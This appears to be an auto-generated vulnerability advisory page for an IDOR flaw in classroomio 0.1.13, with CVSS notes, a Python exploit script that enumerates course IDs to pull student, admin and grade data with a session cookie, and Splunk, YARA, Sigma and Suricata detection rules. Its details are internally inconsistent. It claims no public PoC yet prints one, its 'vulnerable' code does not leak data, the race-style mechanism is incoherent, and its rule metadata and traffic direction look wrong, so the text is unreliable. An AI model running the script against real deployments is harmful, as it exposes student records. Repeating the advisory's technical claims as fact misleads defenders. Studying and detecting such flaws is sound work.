CVE-2025-65670
Executive Summary
CVE-2025-65670 is an Insecure Direct Object Reference (IDOR) vulnerability identified in classroomio version 0.1.13. This flaw allows an authenticated student user to access sensitive admin and teacher endpoints by manipulating course IDs in URL parameters. The vulnerability leads to unauthorized disclosure of sensitive course data, admin information, and student records. The exposure is transient, occurring momentarily before the system reverts to a restricted state, but the data leak is still exploitable during that window. No patch is currently available, and no public proof-of-concept (PoC) code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the classroomio application, which is a self-hosted or cloud-deployed educational platform. As no official package manager (NPM, PyPI, Go, Ruby) is specified, supply chain risks are limited to the application's own dependencies. Users should audit their deployment for any custom modifications or third-party integrations that may exacerbate the IDOR.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base) but assessed as 6.5 (Medium) based on vector.
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): Low (L) – attacker must be an authenticated student.
- User Interaction (UI): None (N) – no victim action needed.
- Scope (S): Unchanged (U) – vulnerable component only.
- Confidentiality (C): High (H) – sensitive data exposed.
- Integrity (I): None (N) – no data modification.
- Availability (A): None (N) – no denial of service.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for mass data exfiltration by a malicious insider or compromised student account is significant.
Deep Dive & Mechanics
The vulnerability resides in the course management module of classroomio. The application uses numeric or predictable course IDs in URL paths (e.g., /course/12345/details). The server fails to verify that the authenticated user (student) is authorized to access the requested course. By iterating through course IDs, a student can access endpoints intended for admin or teacher roles, such as:
/course/{id}/students– list of enrolled students./course/{id}/admin– admin panel for course settings./course/{id}/grades– grade book with student scores.
The system momentarily returns the sensitive data before performing a secondary authorization check that reverts the response to a restricted state. This race condition-like behavior allows data exfiltration via automated scripts that capture the response before the restriction is applied.
Root Cause: The application performs authorization checks asynchronously or after data retrieval, rather than enforcing access control at the API gateway or middleware level.
Vulnerable vs. Patched Code
Vulnerable Code (classroomio 0.1.13):
# Example Python Flask route (hypothetical)
@app.route('/course/<int:course_id>/students')
def get_course_students(course_id):
# No authorization check before data retrieval
students = db.query("SELECT * FROM students WHERE course_id = ?", (course_id,))
# Authorization check happens after data is fetched
if not is_authorized(current_user, course_id):
return jsonify({"error": "Unauthorized"}), 403
return jsonify(students)
Patched Code (hypothetical fix):
@app.route('/course/<int:course_id>/students')
def get_course_students(course_id):
# Authorization check first
if not is_authorized(current_user, course_id):
return jsonify({"error": "Unauthorized"}), 403
students = db.query("SELECT * FROM students WHERE course_id = ?", (course_id,))
return jsonify(students)
The fix moves the authorization check before the database query, preventing any data leakage.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid student account on a classroomio 0.1.13 instance.
- Network access to the application.
Exploitation Steps:
- Authenticate as a student and obtain a session token.
- Use a script to iterate through course IDs (e.g., 1 to 1000) and send GET requests to sensitive endpoints.
- Capture the response before the server enforces the restriction.
Example Python Exploit Script:
import requests
session = requests.Session()
session.cookies.set("session", "your_session_token_here")
base_url = "http://target-classroomio.com"
endpoints = ["/course/{}/students", "/course/{}/admin", "/course/{}/grades"]
for course_id in range(1, 1001):
for endpoint in endpoints:
url = base_url + endpoint.format(course_id)
response = session.get(url)
# Check if response contains sensitive data (e.g., not "Unauthorized")
if "Unauthorized" not in response.text:
print(f"Found data at {url}: {response.text[:200]}")
Blue Team
Detection:
- Monitor for rapid sequential requests to course-related endpoints from a single user.
- Alert on responses that contain sensitive data (e.g., student names, grades) followed by a 403 error.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri_path="/course/*" AND status=200
| stats count by src_ip, uri_path
| where count > 50
Indicators of Compromise (IOCs)
- Network IOCs:
- Sequential GET requests to
/course/{id}/students,/course/{id}/admin,/course/{id}/grades. - HTTP 200 responses followed by 403 for the same endpoint.
- Sequential GET requests to
- File IOCs:
- Log entries showing rapid access to multiple course IDs from a single session.
- Behavioral IOCs:
- A student account accessing more than 10 unique course IDs within 1 minute.
Detection Engineering
YARA Rule
rule classroomio_idor_exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-65670 in classroomio logs"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "/course/" ascii
$s2 = "/students" ascii
$s3 = "/admin" ascii
$s4 = "/grades" ascii
condition:
any of ($s1) and any of ($s2, $s3, $s4)
}
Sigma Rule
title: Classroomio IDOR Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects rapid sequential access to course endpoints indicative of IDOR exploitation
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/course/"
condition: selection
timeframe: 1m
aggregation:
- field: c-ip
function: count
condition: gt 50
falsepositives:
- Legitimate admin tools scanning courses
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CLASSROOMIO IDOR Exploitation Attempt";
flow:to_server,established;
content:"/course/"; http_uri;
content:"/students"; http_uri;
distance:0;
within:100;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Implement a Web Application Firewall (WAF) rule to block requests to sensitive endpoints from student roles.
- Rate Limiting: Enforce rate limiting on course-related API endpoints to prevent rapid enumeration.
- Session Validation: Ensure all course endpoints validate user authorization before processing the request.
Long-Term Fix:
- Apply the patch as described in the Vulnerable vs. Patched Code section.
- Conduct a full security audit of all API endpoints for similar IDOR vulnerabilities.
- Implement role-based access control (RBAC) at the middleware level.
Workaround:
- Disable direct access to sensitive endpoints for student accounts until a patch is available.
Valters IT